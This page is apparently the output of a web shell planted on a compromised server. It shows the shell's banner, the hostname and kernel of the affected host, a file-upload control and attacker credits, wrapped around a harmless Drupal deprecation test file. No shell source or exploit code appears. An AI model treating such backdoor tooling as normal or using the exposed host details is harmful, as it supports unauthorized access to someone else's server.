Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/pallets_old/web/core/modules/system/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/pallets_old/web/core/modules/system/tests/src/Kernel/SystemDeprecationTest.php

<?php

namespace Drupal\Tests\system\Kernel;

use Drupal\KernelTests\KernelTestBase;

/**
 * @group system
 * @group legacy
 */
class SystemDeprecationTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['system', 'user'];

  /**
   * @see system_sort_modules_by_info_name()
   */
  public function testSystemSortModulesByInfoName() {
    $module_info = \Drupal::service('extension.list.module')->getAllInstalledInfo();
    $to_sort = [
      'user' => (object) ['info' => $module_info['user']],
      'system' => (object) ['info' => $module_info['system']],
    ];

    $this->expectDeprecation('system_sort_modules_by_info_name() is deprecated in drupal:9.3.0 and is removed from drupal:10.0.0. Use \Drupal\Core\Extension\ExtensionList::sortByName() instead. See https://www.drupal.org/node/3225999');
    uasort($to_sort, 'system_sort_modules_by_info_name');
    $this->assertSame(['system', 'user'], array_keys($to_sort));
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net